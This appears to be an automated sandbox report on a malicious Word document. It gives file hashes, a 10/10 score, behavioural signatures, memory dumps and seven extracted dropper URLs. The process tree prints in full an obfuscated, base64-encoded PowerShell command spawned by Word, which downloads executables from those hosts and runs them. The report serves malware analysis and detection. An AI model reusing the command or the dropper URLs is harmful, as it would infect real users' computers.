Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-05-2024 16:46

General

  • Target

    3b1ab3b858470150653b1e2673ad53e2_JaffaCakes118.doc

  • Size

    164KB

  • MD5

    3b1ab3b858470150653b1e2673ad53e2

  • SHA1

    347b709e07b22f1216ed04885dad11ec461ddaaa

  • SHA256

    fbe1133ef2dd689ebe616ac9a5013fc0788d7427697a118bdbda6aa1eaada5ab

  • SHA512

    cd2edbbef806fade7f4c7b0b5e9ac502b16e0ad301a1ae317388f605bab08d9cf965b239c3ca96d5a4dbf931509db52c98a92885d22559bb374eb7b9946120b4

  • SSDEEP

    1536:MgjIgjhrdi1Ir77zOH98Wj2gpngx+a95bzN+oEyNC84/4Iq9h6:lrfrzOH98ipguoETMIq36

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://an9news.com/aokhf/XPXV7/

exe.dropper

https://www.17geci.com/vi2w6/Z5i/

exe.dropper

https://rubycityvietnam.com/wp-admin/1c0NVtp/

exe.dropper

https://lami-jo.com/wp-admin/VMeklEt/

exe.dropper

http://vayvontinchap5s.com/vayvon5s.com/YH3mx/

exe.dropper

http://jiamini.us-east-1.elasticbeanstalk.com/static/P1Vcv/

exe.dropper

http://wach8.com/cgi-bin/5JyZcRU/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3b1ab3b858470150653b1e2673ad53e2_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3852
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABEAG8ANABzAHMAOQAyAD0AKAAnAFQAbgAnACsAKAAnADkAOQAyACcAKwAnAGQAJwApACsAJwBiACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAEUAUgBQAHIATwBGAEkATABlAFwARAB6AFIAbgBPADUAOQBcAFQAVwBmAGgAdABNAEoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQByAGAASQBgAFQAeQBwAHIATwB0AE8AYABDAE8ATAAiACAAPQAgACgAKAAnAHQAbABzACcAKwAnADEAMgAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzADEAJwApACsAKAAnADEAJwArACcALAAgACcAKQArACcAdAAnACsAJwBsAHMAJwApADsAJABDADgAZwBwAGQAMgA2ACAAPQAgACgAJwBTAHgAJwArACgAJwAwAGQAJwArACcAcAAnACkAKwAoACcAXwBiADkAJwArACcAZgAnACkAKQA7ACQATAByAHUAbQBzADIAeAA9ACgAKAAnAEgAMQAnACsAJwAwACcAKQArACcAbgB6ACcAKwAnAGcAMAAnACkAOwAkAFQAYwAzAGgAZAAxAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBoAGoATABEACcAKwAnAHoAJwApACsAKAAnAHIAbgBvADUAOQAnACsAJwBoAGoAJwArACcATAAnACkAKwAoACcAVAB3ACcAKwAnAGYAaAAnACsAJwB0ACcAKwAnAG0AagBoAGoAJwApACsAJwBMACcAKQAuACIAcgBgAGUAUABsAGAAQQBDAEUAIgAoACgAJwBoAGoAJwArACcATAAnACkALABbAFMAdABSAEkATgBHAF0AWwBDAGgAYQBSAF0AOQAyACkAKQArACQAQwA4AGcAcABkADIANgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFEAYQA4AF8AYwB5AHYAPQAoACcATgA4ACcAKwAoACcAbgBmAGMAZgAnACsAJwBuACcAKQApADsAJABKAHMANQB1AHYAagBmAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAGMATABJAEUATgB0ADsAJABSAGsAbwBfADUAOAB0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAcwA6AC8ALwBhACcAKQArACgAJwBuADkAbgBlACcAKwAnAHcAJwApACsAJwBzACcAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvAGEAJwApACsAJwBvACcAKwAnAGsAJwArACgAJwBoAGYALwAnACsAJwBYAFAAJwApACsAKAAnAFgAVgAnACsAJwA3ACcAKQArACcALwAnACsAJwAqACcAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvACcAKwAoACcALwB3AHcAJwArACcAdwAnACsAJwAuADEANwBnAGUAJwArACcAYwBpAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAHYAaQAnACsAJwAyAHcAJwArACcANgAnACsAKAAnAC8AWgA1AGkAJwArACcALwAqACcAKQArACgAJwBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAoACcALwAnACsAJwAvAHIAdQBiACcAKQArACgAJwB5AGMAaQB0AHkAJwArACcAdgAnACkAKwAoACcAaQAnACsAJwBlAHQAJwApACsAKAAnAG4AJwArACcAYQBtAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwAxAGMAJwArACcAMAAnACkAKwAoACcATgBWACcAKwAnAHQAJwApACsAKAAnAHAALwAqACcAKwAnAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACgAJwBzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBsACcAKwAnAGEAbQBpAC0AagBvACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnAFYAJwApACsAKAAnAE0AZQAnACsAJwBrAGwAJwApACsAKAAnAEUAdAAvACcAKwAnACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAvAHYAYQAnACsAJwB5ACcAKwAnAHYAbwAnACkAKwAnAG4AdAAnACsAKAAnAGkAbgBjACcAKwAnAGgAJwApACsAKAAnAGEAcAA1ACcAKwAnAHMALgAnACkAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALwB2AGEAeQAnACsAJwB2AG8AJwArACcAbgA1AHMALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAnAC8AJwArACgAJwBZAEgAMwAnACsAJwBtACcAKQArACcAeAAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAagBpACcAKwAnAGEAbQBpACcAKQArACcAbgAnACsAKAAnAGkALgB1ACcAKwAnAHMALQAnACsAJwBlACcAKQArACcAYQAnACsAJwBzAHQAJwArACgAJwAtADEAJwArACcALgBlACcAKwAnAGwAYQBzAHQAJwApACsAJwBpAGMAJwArACcAYgAnACsAJwBlAGEAJwArACgAJwBuACcAKwAnAHMAdABhAGwAawAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHMAdAAnACsAJwBhAHQAJwApACsAKAAnAGkAJwArACcAYwAvACcAKQArACcAUAAxACcAKwAoACcAVgBjAHYAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvACcAKQArACcAdwAnACsAKAAnAGEAYwBoADgALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwBjAGcAaQAnACsAJwAtACcAKQArACcAYgAnACsAJwBpAG4AJwArACgAJwAvADUASgAnACsAJwB5AFoAYwAnACsAJwBSACcAKQArACcAVQAvACcAKQAuACIAUwBwAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAHQAcgBqAG8AbwA3AD0AKAAoACcASAAnACsAJwBjADUAbQAnACkAKwAnADQAJwArACcAbQA5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AdQA1AGMANAA4AG0AIABpAG4AIAAkAFIAawBvAF8ANQA4AHQAKQB7AHQAcgB5AHsAJABKAHMANQB1AHYAagBmAC4AIgBEAG8AdwBOAGAAbABvAGAAQQBEAGAARgBJAGwARQAiACgAJABOAHUANQBjADQAOABtACwAIAAkAFQAYwAzAGgAZAAxAHUAKQA7ACQARQA4AG0AYQBhAGcAOAA9ACgAJwBYAGcAJwArACcANgB2ACcAKwAoACcAbwBzACcAKwAnAHcAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAVABjADMAaABkADEAdQApAC4AIgBsAEUAbgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADQAMQA3ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFQAYwAzAGgAZAAxAHUAKQA7ACQAQwBhAGcAegB6AGUAagA9ACgAJwBUAHoAJwArACgAJwBfADUAaQB3ACcAKwAnAGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAE8AXwBmADUAbgA2AGcAPQAoACgAJwBSAG4AaQB1AGwAJwArACcAMwAnACkAKwAnADQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAGEAMQBtADMAZAByAD0AKAAoACcAQwAnACsAJwA3AGsAJwApACsAJwByACcAKwAoACcAOAAnACsAJwBfAHkAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2412

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD895E.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z2fc1i3k.erj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2412-75-0x0000018EF7BD0000-0x0000018EF7BF2000-memory.dmp

    Filesize

    136KB

  • memory/3852-8-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-584-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-5-0x00007FFB38B2D000-0x00007FFB38B2E000-memory.dmp

    Filesize

    4KB

  • memory/3852-6-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-7-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-0-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-30-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-12-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-11-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-14-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-15-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-16-0x00007FFAF6A20000-0x00007FFAF6A30000-memory.dmp

    Filesize

    64KB

  • memory/3852-13-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-9-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-586-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-3-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-10-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-53-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-58-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-59-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-4-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-1-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-83-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-2-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-552-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-562-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-563-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-582-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-585-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-29-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3852-583-0x00007FFAF8B10000-0x00007FFAF8B20000-memory.dmp

    Filesize

    64KB

  • memory/3852-18-0x00007FFAF6A20000-0x00007FFAF6A30000-memory.dmp

    Filesize

    64KB